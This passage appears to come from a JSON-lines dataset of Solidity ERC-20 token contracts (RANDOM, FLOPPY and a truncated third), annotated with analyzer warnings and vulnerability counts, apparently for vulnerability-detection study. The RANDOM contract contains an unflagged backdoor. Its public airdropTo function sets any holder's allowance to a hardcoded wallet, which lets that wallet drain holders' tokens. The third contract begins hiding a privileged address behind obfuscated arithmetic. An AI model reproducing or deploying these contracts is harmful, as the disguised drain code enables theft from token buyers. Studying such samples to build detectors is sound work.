ae2cf99): RANDOM._taxWallet should be immutable \n\t// Recommendation for ae2cf99: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Random Coin\";\n\n string private constant _symbol = unicode\"RANDOM\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14faac0): RANDOM._minTaxSwap should be constant \n\t// Recommendation for 14faac0: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e94175b): RANDOM._maxTaxSwap should be constant \n\t// Recommendation for e94175b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ec4730): RANDOM._initialBuyTax should be constant \n\t// Recommendation for 3ec4730: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 95b3250): RANDOM._initialSellTax should be constant \n\t// Recommendation for 95b3250: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39960fc): RANDOM._finalBuyTax should be constant \n\t// Recommendation for 39960fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74716b7): RANDOM._finalSellTax should be constant \n\t// Recommendation for 74716b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4bbdb25): RANDOM._reduceBuyAt should be constant \n\t// Recommendation for 4bbdb25: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c1b9c4): RANDOM._reduceSellAt should be constant \n\t// Recommendation for 0c1b9c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0502e4d): RANDOM._preventCount should be constant \n\t// Recommendation for 0502e4d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyTokenCount = 0;\n\n IUniswapV2Router02 private uniRouter;\n\n address private uniPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 167f8d1): RANDOM.bamboo should be constant \n\t// Recommendation for 167f8d1: Add the 'constant' attribute to state variables that never change.\n address private bamboo = 0x8F790B3805b89aE7813C6BC7a5CfBfb2D2856c2e;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _isCaLimitOf = true;\n\n uint256 private _caBlockLimits = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(bamboo);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function initPair() external onlyOwner {\n uniRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouter), _tTotal);\n\n uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(\n address(this),\n uniRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 38113a0): RANDOM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 38113a0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d2eb082): RANDOM.airdropTo(address,bytes32,bytes32).owner shadows Ownable.owner() (function)\n\t// Recommendation for d2eb082: Rename the local variables that shadow another component.\n function airdropTo(address owner, bytes32 _caca, bytes32 _cece) external {\n _allowances[owner][bamboo] = _maxWalletAmount;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0df9f12): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0df9f12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 23d5b1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 23d5b1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0df9f12\n\t\t// reentrancy-benign | ID: 23d5b1f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0df9f12\n\t\t// reentrancy-benign | ID: 23d5b1f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 60752bf): RANDOM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 60752bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 23d5b1f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0df9f12\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8adc26a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8adc26a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 5c9a89a): RANDOM._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 5c9a89a: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a13397d): RANDOM._bots is never initialized. It is used in RANDOM._transfer(address,address,uint256)\n\t// Recommendation for a13397d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c8c1bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c8c1bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ff8863b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ff8863b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxFees = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n taxFees = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniPair &&\n to != address(uniRouter) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniPair && from != address(this)) {\n taxFees = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 5c9a89a\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8adc26a\n\t\t\t\t\t// reentrancy-eth | ID: 4c8c1bf\n\t\t\t\t\t// reentrancy-eth | ID: ff8863b\n sendEths(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniPair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_isCaLimitOf) {\n if (_caBlockLimits < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 8adc26a\n\t\t\t\t\t\t// reentrancy-eth | ID: 4c8c1bf\n\t\t\t\t\t\t// reentrancy-eth | ID: ff8863b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 8adc26a\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 4c8c1bf\n\t\t\t\t\t\t\t// reentrancy-eth | ID: ff8863b\n sendEths(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 4c8c1bf\n _caBlockLimits = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 8adc26a\n\t\t\t\t\t// reentrancy-eth | ID: ff8863b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 8adc26a\n\t\t\t\t\t\t// reentrancy-eth | ID: ff8863b\n sendEths(address(this).balance);\n }\n }\n }\n }\n\n if (taxFees > 0) {\n\t\t\t// reentrancy-eth | ID: ff8863b\n _balances[address(this)] = _balances[address(this)].add(taxFees);\n\n\t\t\t// reentrancy-events | ID: 8adc26a\n emit Transfer(from, address(this), taxFees);\n }\n\n\t\t// reentrancy-eth | ID: ff8863b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ff8863b\n _balances[to] = _balances[to].add(amount.sub(taxFees));\n\n\t\t// reentrancy-events | ID: 8adc26a\n emit Transfer(from, to, amount.sub(taxFees));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouter.WETH();\n\n _approve(address(this), address(uniRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8adc26a\n\t\t// reentrancy-events | ID: 0df9f12\n\t\t// reentrancy-benign | ID: 23d5b1f\n\t\t// reentrancy-eth | ID: 4c8c1bf\n\t\t// reentrancy-eth | ID: ff8863b\n uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function recoverEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function sendEths(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8adc26a\n\t\t// reentrancy-events | ID: 0df9f12\n\t\t// reentrancy-eth | ID: 4c8c1bf\n\t\t// reentrancy-eth | ID: ff8863b\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 316189a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 316189a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ec2b53a): RANDOM.openTrading() ignores return value by uniRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ec2b53a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e6797d2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e6797d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 316189a\n\t\t// unused-return | ID: ec2b53a\n\t\t// reentrancy-eth | ID: e6797d2\n uniRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 316189a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e6797d2\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function removeLimits() external onlyOwner {\n _isCaLimitOf = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n}\n", "file_name": "solidity_code_10282.sol", "size_bytes": 21243, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FLOPPY is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 8088fc3): FLOPPY._devWallet should be immutable \n\t// Recommendation for 8088fc3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\t// WARNING Optimization Issue (immutable-states | ID: 6c9d35b): FLOPPY._marketingWallet should be immutable \n\t// Recommendation for 6c9d35b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n\n string private constant _name = unicode\"Floppy\";\n string private constant _symbol = unicode\"FLOPPY\";\n uint8 private constant _decimals = 18;\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n uint256 public _BuyTax = 10;\n uint256 public _SellTax = 15;\n uint256 public _maxTxAmount = (_tTotal * 20) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 20) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: 8000d5f): FLOPPY._taxSwapThreshold should be constant \n\t// Recommendation for 8000d5f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\t// WARNING Optimization Issue (constable-states | ID: a6ae15a): FLOPPY._maxTaxSwap should be constant \n\t// Recommendation for a6ae15a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private contractSellCount = 0;\n uint256 private lastContractSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _devWallet = payable(_msgSender());\n _marketingWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_devWallet] = true;\n _isExcludedFromFee[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c4da22c): FLOPPY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c4da22c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 99ab68c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 99ab68c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4a4e909): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4a4e909: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: 99ab68c\n\t\t// reentrancy-eth | ID: 4a4e909\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 99ab68c\n\t\t// reentrancy-eth | ID: 4a4e909\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a8d64c5): FLOPPY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a8d64c5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0),\n \"ERC20: Can't approve from the zero address\"\n );\n require(\n spender != address(0),\n \"ERC20: Can't approve to the zero address\"\n );\n\t\t// reentrancy-eth | ID: 4a4e909\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 99ab68c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c19391): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c19391: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f906de1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f906de1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: Can't transfer from the zero address\"\n );\n require(to != address(0), \"ERC20: Can't transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the _maxWalletSize.\"\n );\n }\n\n if (from == uniswapV2Pair && to != address(this)) {\n taxAmount = (amount * _BuyTax) / 100;\n }\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = (amount * _SellTax) / 100;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n if (block.number > lastContractSellBlock) {\n contractSellCount = 0;\n }\n require(contractSellCount < 2);\n uint256 amountToSwap = (amount < contractTokenBalance &&\n amount < _maxTaxSwap)\n ? amount\n : (contractTokenBalance < _maxTaxSwap)\n ? contractTokenBalance\n : _maxTaxSwap;\n\t\t\t\t// reentrancy-events | ID: 9c19391\n\t\t\t\t// reentrancy-eth | ID: f906de1\n swapTokensForEth(amountToSwap);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9c19391\n\t\t\t\t\t// reentrancy-eth | ID: f906de1\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: f906de1\n contractSellCount++;\n\t\t\t\t// reentrancy-eth | ID: f906de1\n lastContractSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f906de1\n _balances[address(this)] += taxAmount;\n\t\t\t// reentrancy-events | ID: 9c19391\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: f906de1\n _balances[from] = _balances[from] - amount;\n\t\t// reentrancy-eth | ID: f906de1\n _balances[to] = _balances[to] + (amount - taxAmount);\n\t\t// reentrancy-events | ID: 9c19391\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 99ab68c\n\t\t// reentrancy-events | ID: 9c19391\n\t\t// reentrancy-eth | ID: 4a4e909\n\t\t// reentrancy-eth | ID: f906de1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ac9956e): FLOPPY.updateTax(uint256,uint256) should emit an event for _BuyTax = BuyTax _SellTax = SellTax \n\t// Recommendation for ac9956e: Emit an event for critical parameter changes.\n function updateTax(uint256 BuyTax, uint256 SellTax) external onlyOwner {\n\t\t// events-maths | ID: ac9956e\n _BuyTax = BuyTax;\n\t\t// events-maths | ID: ac9956e\n _SellTax = SellTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f4089e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f4089e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bab3088): FLOPPY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bab3088: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 56668b0): FLOPPY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 56668b0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bc7f08a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bc7f08a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: f4089e3\n\t\t// reentrancy-eth | ID: bc7f08a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: f4089e3\n\t\t// unused-return | ID: bab3088\n\t\t// reentrancy-eth | ID: bc7f08a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: f4089e3\n\t\t// unused-return | ID: 56668b0\n\t\t// reentrancy-eth | ID: bc7f08a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: f4089e3\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: bc7f08a\n tradingOpen = true;\n }\n\n function manualSwap() external onlyOwner {\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7fe3aab): FLOPPY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingWallet.transfer(amount)\n\t// Recommendation for 7fe3aab: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 99ab68c\n\t\t// reentrancy-events | ID: 9c19391\n\t\t// reentrancy-eth | ID: 4a4e909\n\t\t// reentrancy-eth | ID: f906de1\n\t\t// arbitrary-send-eth | ID: 7fe3aab\n _marketingWallet.transfer(amount);\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10283.sol", "size_bytes": 16895, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 48559712676659575563997538478757995171011681 *\n 10 ** 4 +\n 281474976718524;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event 